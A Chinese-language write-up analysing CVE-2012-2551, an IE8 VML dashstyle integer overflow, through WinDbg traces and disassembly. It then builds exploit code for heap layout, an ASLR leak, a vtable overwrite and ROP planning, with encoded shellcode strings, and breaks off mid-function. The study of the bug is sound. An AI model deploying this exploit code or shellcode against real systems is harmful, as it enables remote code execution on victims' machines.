cve-2012-2551
漏洞简介
VUPEN团队在Pwn2Own 2013黑客大赛上使用此漏洞攻破Windows 8环境下的IE10。该漏洞产生于VGX.DLL模块,在VML语言中处理图形标签的stroke子元素的dashstyle存在安全隐患,没有对输入的参数做有效验证导致整数溢出攻击者可以通过整数溢出修改数组的长度,获取任意内存读写的能力
调试环境
操作系统:win7
IE版本:8.0.7601.17514
调试过程
先开启堆页,附加ie后运行,程序断在了这里。
0:013> g
(bf4.8bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
msvcrt!memcpy+0x158:
77399966 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:002b:21dc5060=????????
来看一看这个地址前面的数据,可以看到前面有1-0x2c,这也就是我们在poc里面输入的dashstyle数组数据,这就证明是访问dashstyle数组越界了。
0:005:x86> dd 21dc5060-110 l50
21dc4f50 00000001 00000002 00000003 00000004
21dc4f60 00000005 00000006 00000007 00000008
21dc4f70 00000009 0000000a 0000000b 0000000c
21dc4f80 0000000d 0000000e 0000000f 00000010
21dc4f90 00000011 00000012 00000013 00000014
21dc4fa0 00000015 00000016 00000017 00000018
21dc4fb0 00000019 0000001a 0000001b 0000001c
21dc4fc0 0000001d 0000001e 0000001f 00000020
21dc4fd0 00000021 00000022 00000023 00000024
21dc4fe0 00000025 00000026 00000027 00000028
21dc4ff0 00000029 0000002a 0000002b 0000002c
21dc5000 ???????? ???????? ???????? ????????
21dc5010 ???????? ???????? ???????? ????????
21dc5020 ???????? ???????? ???????? ????????
for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
再来看看栈回溯,从函数栈可以看出是memcpy复制的时候越界了。调用memcpy的函数则是VGX!ORG::Get
0:013> kb
Args to Child
089a9978 7380cfa9 089a99b4 21fc3060 00000004 msvcrt!memcpy+0x158
089a998c 7385da0f 22a56fe8 089a99b4 00000044 VGX!ORG::Get+0x27
089a99b8 75f03e75 22a56fe8 00000044 089a9a1c
VGX!COALineDashStyleArray::get_item+0x8c
WARNING: Stack unwind information not available. Following frames may be wrong.
089a99d8 75f03cef 22c5eff0 00000024 00000004 OLEAUT32!DispCallFunc+0xa6
089a9a68 738447c1 0d5b7454 22c5eff0 00000000 OLEAUT32!LoadRegTypeLib+0xac1
089a9bf4 73864a88 22c5eff4 22c5eff0 7388223c VGX!COADispatch::Invoke+0x89
089a9c28 731adc18 22c5eff0 00000000 731a0bb4 VGX!COADispatchImpl<IVgDashStyleArray,&IID_IVgDashStyleArray,COAShapeProg>::Invoke+0x2f
089a9c68 731adb6c 0a643d10 00000000 00000409 JSCRIPT!IDispatchInvoke2+0xf0
重新载入,把断点下在VGX!ORG::Get看看,整个函数也不长,整体看下,就是对下面memcpy的几个数参进行计算,其他也没有什么问题。来看看它的几个参数是怎么来的
VGX!COALineDashStyleArray::get_item。
00000000`77980530 cc int 3
0:015> bp VGX!ORG::Get
0:015> g
Breakpoint 0 hit
VGX!ORG::Get:
727bcf82 8bff mov edi,edi
727bcf82 8bff mov edi,edi
727bcf84 55 push ebp
727bcf85 8bec mov ebp,esp
727bcf87 837d0c00 cmp dword ptr [ebp+0Ch],0
727bcf8b 741f je VGX!ORG::Get+0x2a (727bcfac)
727bcf8d 8b4d08 mov ecx,dword ptr [ebp+8]
727bcf90 8b4108 mov eax,dword ptr [ecx+8]
727bcf93 25ffff0000 and eax,0FFFFh
727bcf98 50 push eax
727bcf99 0faf4510 imul eax,dword ptr [ebp+10h]
727bcf9d 034110 add eax,dword ptr [ecx+10h]
727bcfa0 50 push eax
727bcfa1 ff750c push dword ptr [ebp+0Ch]
727bcfa4 e800a5ffff call VGX!memcpy (727b74a9)
727bcfa9 83c40c add esp,0Ch
727bcfac 5d pop ebp
727bcfad c20c00 ret 0Ch
可以发现memcpy的第三个参数的获取过程中是有VGX!ORG::Get的第一个参数参与的。那再往VGX!ORG::Get前面一个函数VGX!COALineDashStyleArray::get_item来看看VGX!ORG::Get的第一个参数是不是在那里出现了问题。
0:005:x86> r
eax=22508fe8 ebx=732a4964 ecx=73237258 edx=08a1a07c esi=22710ff0 edi=08a1a624
eip=7324cf8d esp=08a1a054 ebp=08a1a054 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
VGX!ORG::Get+0xb:
7324cf8d 8b4d08 mov ecx,dword ptr [ebp+8] ss:002b:08a1a05c=22508fe8
0:005:x86> dd ebp+8
08a1a05c 22508fe8 08a1a07c 00000044 0cc28e70
08a1a06c 00000000 732c223c 22500f28 00000000
08a1a07c 00000000 08a1a0a0 75f03e75 22508fe8
08a1a08c 00000044 08a1a0e4 0b354f84 083f1754
08a1a09c 08a1a094 08a1a130 75f03cef 22710ff0
08a1a0ac 00000024 00000004 0000000a 00000002
08a1a0bc 0b354ff4 0b354fe4 08a1a624 732c223c
08a1a0cc 00000000 75eff958 75ef443a 764c66bc
先别急着在VGX!COALineDashStyleArray::get_item下断点,我们可以看到这几个函数的参数,可以看到VGX!ORG::Get的第一个参数也是VGX!COALineDashStyleArray::get_item的第一个参数,这个参数是更前面的函数传进来的,而再上面的函数就已经脱离了VGX.dll函数,也就是说VGX!COALineDashStyleArray::get_item函数应该只是用于触发异常,而不是真正的漏洞点。
08aa9af4 21635060 00000004 msvcrt!memcpy
220c8fe8 08aa9af4 00000044 VGX!ORG::Get+0x27
220c8fe8 00000044 08aa9b5c VGX!COALineDashStyleArray::get_item+0x8c
那么接下去只能重新再找别的进行分析,看了作者的网上其他人的,都是从POC开始分析。
POC首先创建了两个数组和0x400个v:shape元素
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
接下来是按钮的代码,函数首先获取前面0x400个shape元素的_vgRuntimeStyle属性,即运行时样式,然后再通过它获取rotation(元素旋转)属性,然后再设置vml1的dashstyle属性,长度为0x2c。然后设置了两个属性长度为0-1,这里应该就是导致溢出的漏洞点了。
function crashme(){
var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape")
for (var i=0; i<0x400; i++){ //set up the heap
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1
}
作者接下来的方法是在ida里面搜索RuntimeStyle。先用ida载入vgx.dll然后导入windbg产生的符号包vgx.pdb。在functions window窗口下alt+t,输入RuntimeStyle,会找到一个COARuntimeStyle类,而且它是唯一一个。这里我看的时候有点不明白,不知道为什么要输入RuntimeStyle而不是vbRuntimeStyle,如果是vbRuntimeStyle就会有别的函数,那就不能确定是这里的了。
然后在同样的步骤输入dashstyle::put,然后找到了两个关键的函数。
在网上别人的文章中,我看到下面这种方法。
因为在c++在创建对象的时候,会将对象的虚表地址拷贝到对象的内存中,所以我们在代码中搜索对vgx!ORG::’vftable’的引用,试图找到创建vgx!ORG对象的代码。
IDA中,在汇编代码窗口使用快捷键(要在汇编窗口使用,要不然搜不到) : ALT + T ,然后输入ORG::`vftable 进行搜索。(注意vftable前面的不是单引号)
除了虚表本身以及两个ORG对象的成员函数外,只剩一个函数:
.text:198ED1F9 _MsoFCreateArray@8 mov dword ptr [eax], offset ??_7ORG@@6B@
; const ORG::`vftable'
在这个函数上来下个断点看看
0:015> bp vgx!MsoFCreateArray
0:015> bl
0 e x86 00000000`726fd1df 0001 (0001) 0:**** VGX!MsoFCreateArray
0:015> g
Breakpoint 0 hit
VGX!MsoFCreateArray:
726fd1df 8bff mov edi,edi
726fd1df 8bff mov edi,edi
726fd1e1 55 push ebp
726fd1e2 8bec mov ebp,esp
726fd1e4 56 push esi
726fd1e5 57 push edi
726fd1e6 bf01010000 mov edi,101h
726fd1eb 57 push edi
726fd1ec 6a14 push 14h
726fd1ee e88a67fdff call VGX!operator new (726d397d)
726fd1f3 59 pop ecx
在call VGX!operator new (726d397d)之后的eax就是创建对象的地址
0:005:x86> r
eax=21748fe8 ebx=08ba9cd8 ecx=00000014 edx=00000000 esi=08ba9cdc edi=00000101
eip=726fd1f3 esp=08ba9c30 ebp=08ba9c40 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
VGX!MsoFCreateArray+0x14:
726fd1f3 59 pop ecx
找到了这个创建的新对象的地址之后,下一个硬件写入断点,当长度为ffff的时候断下
ba w2 21748fe8 +4 ".if (low(poi(21748fe8+4))=0xffff) {dd 21748fe8 l8} .else {gc}"
0:005:x86> ba w2 21748fe8 +4 ".if (low(poi(21748fe8+4))=0xffff) {dd 21748fe8
l8} .else {gc}"
0:005:x86> g
21748fe8 726e7258 002cffff 00040004 00000101
21748ff8 217a0f50 d0d0d0d0 ???????? ????????
VGX!MsoFRemovePx+0xaa:
7273c3c6 5f pop edi
通过栈回溯我们同样看到了COALineDashStyleArray::put_length函数。
0:005:x86> kv
ChildEBP RetAddr Args to Child
08baa0dc 7273c7c6 21748fec ffffffff 0000002d VGX!MsoFRemovePx+0xaa (FPO:
[Non-Fpo])
08baa0f4 726fcf79 21748fec ffffffff 0000002d VGX!MsoDeletePx+0x15 (FPO:
[Non-Fpo])
08baa108 7274dbac 21748fe8 ffffffff 0000002d VGX!ORG::DeleteRange+0x17 (FPO:
[Non-Fpo])
08baa134 75f03e75 21748fe8 ffffffff 103e3f94
VGX!COALineDashStyleArray::put_length+0xd7 (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
08baa150 75f03cef 0974cff0 00000030 00000004 OLEAUT32!DispCallFunc+0xa6
同时因为上面用的方法和作者的不同,我们可以从上面的栈回溯直接发现了最后写入长度的函数VGX!MsoFRemovePx,而作者则是重新载入,COALineDashStyleArray::put_length下断点。往下单步调试,后慢慢进入到上面的函数中。我们还是按照作者的来一步步分析。
0:015> bp VGX!COALineDashStyleArray::put_length
0:015> g
Breakpoint 0 hit
VGX!COALineDashStyleArray::put_length:
7280dad5 8bff mov edi,edi
一步一步往下走,来到这里
7280db3f 50 push eax
7280db40 ff512c call dword ptr [ecx+2Ch] ds:002b:727a7284={VGX!ORG::CElements(727bd079)} ;调用VGX!ORG::CElements获取dashstyle数组长度。
进入VGX!ORG::CElements函数。
VGX!ORG::CElements:
727bd079 8bff mov edi,edi
727bd07b 55 push ebp
727bd07c 8bec mov ebp,esp
727bd07e 8b4508 mov eax,dword ptr [ebp+8]
727bd081 0fb74004 movzx eax,word ptr [eax+4]
727bd085 5d pop ebp
727bd086 c20400 ret 4
主要就是第五句,用的是movzx,代表赋值给eax的为无符号整数,这里正是从ORG中获取dashstyle数组长度。也就是我们在poc中设置的0x2c。
VGX!ORG::CElements+0x8:
727bd081 0fb74004 movzx eax,word ptr [eax+4] ds:002b:22138fec=002c
0:005:x86> p
VGX!ORG::CElements+0xc:
727bd085 5d pop ebp
0:005:x86> r
eax=0000002c ebx=72814964 ecx=727a7258 edx=08a99fe8 esi=22340ff0 edi=08a9a064
eip=727bd085 esp=08a99ff0 ebp=08a99ff0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
VGX!ORG::CElements+0xc:
727bd085 5d pop ebp
函数出来后是一个判定,esi赋值为ffffffff,与eax=0x2c进行比较,如果eax>=esi则发生跳转。这里是有符号的比较,所以跳转(注意,数组长度才是无符号数)。这里如果不发生跳转,那么就会创建一个新对象。
7280db43 8b750c mov esi,dword ptr [ebp+0Ch] ss:002b:08a9a020=ffffffff
7280db46 3bc6 cmp eax,esi
7280db48 7d55 jge VGX!COALineDashStyleArray::put_length+0xca (7280db9f)
7280db4a 6801010000 push 101h
7280db4f 2bf0 sub esi,eax
7280db51 33c9 xor ecx,ecx
7280db53 6a04 push 4
7280db55 5a pop edx
7280db56 8bc6 mov eax,esi
7280db58 f7e2 mul eax,edx
7280db5a 0f90c1 seto cl
7280db5d f7d9 neg ecx
7280db5f 0bc8 or ecx,eax
7280db61 51 push ecx
7280db62 e8165ef8ff call VGX!operator new (7279397d)
继续往下走,进入下面的函数它的参数为eax=0x2c,esi=0xffffffff,ecx=ORG::`vftable对象的地址
7280db9f 8b4d08 mov ecx,dword ptr [ebp+8]
7280dba2 8b11 mov edx,dword ptr [ecx]
7280dba4 2bc6 sub eax,esi ;0x2c-0xffffffff=0x2d
7280dba6 50 push eax
7280dba7 56 push esi
7280dba8 51 push ecx
7280dba9 ff5228 call dword ptr [edx+28h] ds:002b:727a7280={VGX!ORG::DeleteRange
(727bcf62)}
0:005:x86> kb
22138fe8 ffffffff 0000002d VGX!ORG::DeleteRange
VGX!ORG::DeleteRange:
727bcf62 8bff mov edi,edi
727bcf64 55 push ebp
727bcf65 8bec mov ebp,esp
727bcf67 ff7510 push dword ptr [ebp+10h] ss:002b:08a99ff8=0000002d 727bcf6a
8b4508 mov eax,dword ptr [ebp+8] ss:002b:08a99ff0=22138fe8
727bcf6d ff750c push dword ptr [ebp+0Ch] ss:002b:08a99ff4=ffffffff 727bcf70
83c004 add eax,4
727bcf73 50 push eax
727bcf74 e838f80300 call VGX!MsoDeletePx (727fc7b1)
727bcf79 5d pop ebp
727bcf7a c20c00 ret 0Ch
进入VGX!MsoDeletePx
VGX!MsoDeletePx:
727fc7b1 8bff mov edi,edi
727fc7b3 55 push ebp
727fc7b4 8bec mov ebp,esp
727fc7b6 56 push esi
727fc7b7 ff7510 push dword ptr [ebp+10h] ss:002b:08a99fe4=0000002d 727fc7ba
8b7508 mov esi,dword ptr [ebp+8] ss:002b:08a99fdc=22138fec
727fc7bd ff750c push dword ptr [ebp+0Ch] ss:002b:08a99fe0=ffffffff 727fc7c0 56
push esi ;esi= 22138fec
727fc7c1 e856fbffff call VGX!MsoFRemovePx (727fc31c)
727fc7c6 33c0 xor eax,eax
727fc7c8 663906 cmp word ptr [esi],ax
727fc7cb 0f94c0 sete al
727fc7ce 50 push eax
727fc7cf 56 push esi
727fc7d0 e8fffbffff call VGX!MsoFCompactPx (727fc3d4)
727fc7d5 5e pop esi
727fc7d6 5d pop ebp
727fc7d7 c20c00 ret 0Ch
进入VGX!MsoFRemovePx
VGX!MsoFRemovePx:
727fc31c 8bff mov edi,edi
727fc31e 55 push ebp
727fc31f 8bec mov ebp,esp
727fc321 53 push ebx
727fc322 56 push esi
727fc323 8b7508 mov esi,dword ptr [ebp+8] ss:002b:08a99fc4=22138fec ;保存当前datastyle数组长度0x2c的内存块
0:005:x86> dd 22138fec
22138fec 002c002c 00040004 00000101 216a4f50
22138ffc d0d0d0d0 ???????? ???????? ????????
727fc326 8b4604 mov eax,dword ptr [esi+4] ds:002b:22138ff0=00040004
727fc329 57 push edi
727fc32a 8bf8 mov edi,eax
727fc32c bbffff0000 mov ebx,0FFFFh
727fc331 23fb and edi,ebx
727fc333 8bcf mov ecx,edi
727fc335 0faf4d0c imul ecx,dword ptr [ebp+0Ch] ss:002b:08a99fc8=ffffffff
727fc339 034e0c add ecx,dword ptr [esi+0Ch]
727fc33c 85c0 test eax,eax
727fc33e 7958 jns VGX!MsoFRemovePx+0x7c (727fc398) ;跳转
…………
727fc398 0fb716 movzx edx,word ptr [esi] ds:002b:22138fec=002c ;数组长度,无符号数。
727fc39b 8b5d10 mov ebx,dword ptr [ebp+10h] ss:002b:08a99fcc=0000002d
727fc39e 8b450c mov eax,dword ptr [ebp+0Ch] ss:002b:08a99fc8=ffffffff 727fc3a1
03c3 add eax,ebx ;0x2d+0xffffffff=0x2c
727fc3a3 3bc2 cmp eax,edx
727fc3a5 741c je VGX!MsoFRemovePx+0xa7 (727fc3c3) ;跳转
…………
727fc3c3 66291e sub word ptr [esi],bx ds:002b:22138fec=002c ;0x2c-0x2d=0xffff
0:005:x86> dd esi
22138fec 002cffff 00040004 00000101 216a4f50
22138ffc d0d0d0d0 ???????? ???????? ????????
727fc3c6 5f pop edi
727fc3c7 5e pop esi
727fc3c8 8bc3 mov eax,ebx
727fc3ca 5b pop ebx
727fc3cb 5d pop ebp
727fc3cc c20c00 ret 0Ch
经过了这一步,成功把数组长度改写成了0xffff
727fc3c3 66291e sub word ptr [esi],bx
0:005:x86> dd esi
22138fec 002cffff 00040004 00000101 216a4f50
22138ffc d0d0d0d0 ???????? ???????? ????????
由于dashstyle数组实际长度为0x2c,但被修改为了0xffff,所以会有了数组越界访问的问题,产生漏洞。
POC的最后一段就是数组索引利用产生越界访问,造成崩溃。
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
}
}
这里还有一点是看到别人的笔记发现的,我没有遇到,就是poc在编写的时候,我这里用的是0-1其实就是等于0xFFFFFFFF,但如果直接用dashstyle.array.length = 0xFFFFFFFF。会提示错误有”溢出”发生。
漏洞利用
整体的思路是:利用漏洞的越界读写可以泄露出ntdll或者vgx.dll的地址,然后根据偏移位置计算出基址,再次利用漏洞覆写虚表指针,并把rop链放到对应位置,调用ZwProtectVirtualMemory函数来绕过DEP。
绕过ASLR
参考了别人的文章,链接在最下方:
VML shape的_vgRuntimeStyle属性由COARuntimeStyle对象负责处理,当访问_vgRuntimeStyle.marginLeft时,对应的COARuntimeStyle::put_marginLeft()或者COARuntimeStyle::get_marginLeft()函数就会被调用。当第一次访问marginLeft/rotation属性,那么在put_marginLeft/put_rotation函数中会调用CVMLShape::GetRTSInfo->CParserTag::GetRTSInfo来创建一个COARuntimeStyle对象,该对象大小为0xAC(实际分配0xB0)而marginLeft属性的值对应的字符串指针就保存在该COARuntimeStyle对象的0x58偏移处。可以通过get_marginLeft函数来访问该属性。
如果我们将COARuntimeStyle对象布局到和dashstyle数组相邻,然后我们越界修改COARuntimeStyle对象的marginLeft指针为0x7fe0300(0x7fe0300为ntdll!KiFastSystemCall的固定地址),再调用vgx!COARuntimeStyle::get_marginLeft获取marginLeft指针得到对应的地址。
根据exp来看,首先要创建大量的VML shape对象
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
}
然后依次访问_vgRuntimeStyle.rotation,以此来创建大量的COARuntimeStyle对象(0xB0字节)并且在创建的中途创建一个包含44个元素的dashstyle数组(ORG数组),该数组大小与COARuntimeStyle对象一致,使之可以与其相邻。
for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
产生漏洞
var length_orig = vml1.dashstyle.array.length;//44
vml1.dashstyle.array.length = 0 - 1;
修改marginLeft指针
for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft =
unescape("%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0");
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
var shelladdr = marginLeftAddress_modify;
ntdllbase = parseInt(leak.charCodeAt(1).toString(16) +
leak.charCodeAt(0).toString(16), 16) - 0x470B0;
}
}
首先还是关闭页堆,然后在vgx!MsoFCreateArray下断,查看vgx!ORG对象的地址,然后运行到vgx!COARuntimeStyle::get_marginLeft
VGX!MsoFCreateArray+0xf:
72b9d1ee e88a67fdff call VGX!operator new (72b7397d)
0:005:x86> p
VGX!MsoFCreateArray+0x14:
72b9d1f3 59 pop ecx
0:005:x86> r
eax=06147658 ebx=0323c570 ecx=00000014 edx=00037d08 esi=0323c574 edi=00000101
eip=72b9d1f3 esp=0323c4c8 ebp=0323c4d8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
VGX!MsoFCreateArray+0x14:
72b9d1f3 59 pop ecx
0:005:x86> dd 6147658
06147658 000001c2 00000000 00000000 00000000
06147668 00000000 00000000 76562bb5 80000000
06147678 000001c6 00000000 00000000 00000000
06147688 00000000 00000000 76562ba9 80000000
06147698 000001ca 00000000 00000000 00000000
061476a8 00000000 00000000 76562bad 80000000
061476b8 000001ce 00000000 00000000 00000000
061476c8 00000000 00000000 76562ba1 80000000
0:005:x86> g
Breakpoint 1 hit
VGX!COARuntimeStyle::get_marginLeft:
72bf01cf 8bff mov edi,edi
0:005:x86> dd 6147658
06147658 72b87258 002cffff 00040004 00000101
06147668 06177b68 00000000 76562bb5 80000000
06147678 000001c6 00000000 00000000 00000000
06147688 00000000 00000000 76562ba9 80000000
06147698 000001ca 00000000 00000000 00000000
061476a8 00000000 00000000 76562bad 80000000
061476b8 000001ce 00000000 00000000 00000000
061476c8 00000000 00000000 76562ba1 80000000
0:005:x86> dd 6177b68 l100
06177b68 00000001 00000002 00000003 00000004
06177b78 00000005 00000006 00000007 00000008
06177b88 00000009 0000000a 0000000b 0000000c
06177b98 0000000d 0000000e 0000000f 00000010
06177ba8 00000011 00000012 00000013 00000014
06177bb8 00000015 00000016 00000017 00000018
06177bc8 00000019 0000001a 0000001b 0000001c
06177bd8 0000001d 0000001e 0000001f 00000020
06177be8 00000021 00000022 00000023 00000024
06177bf8 00000025 00000026 00000027 00000028
06177c08 00000029 0000002a 0000002b 0000002c
06177c18 7655f4c0 8c000000 01400018 00000000
06177c28 00000000 00000000 00000000 00000000
06177c38 00000000 00000000 00000000 00000000
06177c48 00000000 00000000 00000000 00000000
06177c58 00000000 00000000 00000000 00000000
06177c68 00000000 00000000 00000000 00000000
06177c78 7ffe0300 00000000 00000000 00000000
06177c88 00000000 00000000 00000000 00000000
06177c98 00000000 00000000 00000000 00000000
06177ca8 00000000 00000000 00000000 00000000
06177cb8 00000000 00000000 00000000 00000000
06177cc8 00000001 00000000 7655f4d9 8c000000
06177cd8 01400018 00000000 00000000 00000000
06177ce8 00000000 00000000 00000000 00000000
06177cf8 00000000 00000000 00000000 00000000
06177d08 00000000 00000000 00000000 00000000
06177d18 00000000 00000000 00000000 00000000
06177d28 00000000 00000000 00000000 00000000
06177d38 00000000 00000000 00000000 00000000
06177d48 00000000 00000000 00000000 00000000
06177d58 00000000 00000000 00000000 00000000
06177d68 00000000 00000000 00000000 00000000
06177d78 00000000 00000000 00000001 00000000
可以看到6177c78已经被修改为7ffe0300,当时我调试到这里的时候就发现了个比较尴尬的问题,我的win7 sp1貌似是加过补丁的,所以7ffe0300不再是固定地址
0:005:x86> ln poi(7ffe0300)
0:005:x86> dd 7ffe0300
7ffe0300 00000000 00000000 00000000 00000000
7ffe0310 00000000 00000000 00000000 00000000
7ffe0320 001bd791 00000000 00000000 00000000
7ffe0330 9748391c 00000000 000006e4 00000000
7ffe0340 77b49e49 77b20134 77b20038 77b200ec
7ffe0350 77bafbb4 77b426b1 77b4267b 77b426b3
7ffe0360 77b201c4 77bb356a 77b714f1 77b10000
7ffe0370 00000000 00000000 00000000 00000000
重新下了一个x86的win 7没有打补丁的。可以看到7ffe0300为ntdll!KiFastSystemCallRet的固定地址。
0:016> ln poi(7ffe0300)
Browse module
Set bu breakpoint
(776a70b0) ntdll!KiFastSystemCall | (776a70b4) ntdll!KiFastSystemCallRet
Exact matches:
ntdll!KiFastSystemCall (<no parameter info>)0:016> lmm ntdll
Browse full module list
start end module name
77660000 7779c000 ntdll (pdb symbols)
c:symbolsntdll.pdb120028FA453F4CD5A6A404EC37396A582ntdll.pdb
0x776a70b0-0x77660000=0x470B0
这里的0x470B0就是偏移地址。
绕过DEP
这里当时vupen主要用了ntdll!ZwProtectVirtualMemory函数来修改内存的属性。这个函数之前没有了解过,网上找了下,是内核态下的函数,函数的作用应该和virtualprotect效果差不都。
EXTERN_C NTSYSAPI NTSTATUS NTAPI ZwProtectVirtualMemory(
__in HANDLE ProcessHandle,
__inout PVOID * BaseAddress,
__inout PSIZE_T RegionSize,
__in ULONG NewProtectWin32,
__out PULONG OldProtect
);
在rop中对应的寄存器(64位状态下)。
edi -> ZwProtectVirtualMemory
esi -> return_address
ebp -> 0xffffffff
esp -> ptr to BaseAddress
ebx -> ptr to NumberOfBytesToProtect
edx -> 0x00000040
ecx -> ptr to OldAccessProtection
劫持eip
当读取_anchorRect属性时,内部会调用”vgx!COAShape::get__anchorRect()”,最终创建并返回一个0x10大小的COAReturnedPointsForAnchor对象。释放_anchorRec元素时,会调用虚表函数所以,我们可以通过与前面相同得布局方式,通过溢出修改COAReturnedPointsForAnchor对象的虚表指针,从而在释放该对象时获取程序控制权。
下面的代码用来测试,直接把exp的换掉,g运行就可以了。
function exploit(){
var vml1 = document.getElementById("vml1")
for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4"; //与COAReturnedPointsForAnchor对象大小保持一致
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x41414141; //覆盖虚表指针
for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
}
0:005> g
(714.e7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=06cdb290 ebx=02525980 ecx=41414141 edx=0000008a esi=02525980 edi=00000009
eip=75934974 esp=0320c818 ebp=0320c824 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
OLEAUT32!VariantClear+0xb6:
75934974 ff5108 call dword ptr [ecx+8] ds:002b:41414149=????????
可以看到ecx是由前面的[eax]传递的,传递的正是我们前面的exp中写的覆写虚表指针。
75934971 8b08 mov ecx,dword ptr [eax]
75934973 50 push eax
75934974 ff5108 call dword ptr [ecx+8] ds:002b:41414149=????????
0:005> dd eax
069ae290 41414141 069615b8 00000001 00000000
069ae2a0 7b9764f6 88000000 73995504 06961698
069ae2b0 00000001 00000000 7b9764f5 880098da
ROP
这里布置ROP有两种方法,最常规的就是用堆喷技术,第二种就是因为这个漏洞让我们有了获取任意地址的手段,所以完全可以用跟前面绕过ASLR泄露基址一样的方法,把shellcode赋值给marginLeft,然后泄露出marginLeft的地址,然后根据泄露出来的地址生成rop链,同样的方法将生成的rop链写入marginLefe并泄露出地址。
下面主要是利用这个漏洞来泄露shellcode地址,整体和前面泄露基址的差不多。
function leak(){
var vml1 = document.getElementById("vml1");
for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft =
unescape("%uc933%u8b64%u3041%u408b%u8b0c%u1470%u96ad%u8bad%u1058%u538b%u033c%u8bd3%u7852%ud303%u728b%u0320%u33f3%u41c9%u03ad%u81c3%u4738%u7465%u7550%u81f4%u0478%u6f72%u4163%ueb75%u7881%u6408%u7264%u7565%u8be2%u2472%uf303%u8b66%u4e0c%u8b49%u1c72%uf303%u148b%u038e%u33d3%u53c9%u5152%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u83d2%u0cc4%u5059%u6651%u6cb9%u516c%u7268%u2e74%u6864%u736d%u6376%uff54%u83d0%u10c4%u548b%u0424%uc933%ub951%u6d65%u6162%u8351%u246c%u6103%u6c83%u0224%u6862%u7973%u7473%u5054%ud2ff%uc483%u5510%uec8b%uec83%u3304%ubef6%u6d63%u0064%u7589%u8dfc%ufc75%uff56%u83d0%u08c4%u5a5e%ub95b%u7365%u6173%u8351%u246c%u6103%u5068%u6f72%u6863%u7845%u7469%u5354%ud2ff%uc933%uff51%u5fd0%u5b5e%uc481%u00c0%u0000%uec3b%u81e8%uff6a%u8bff%u5de5%u00c3");
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
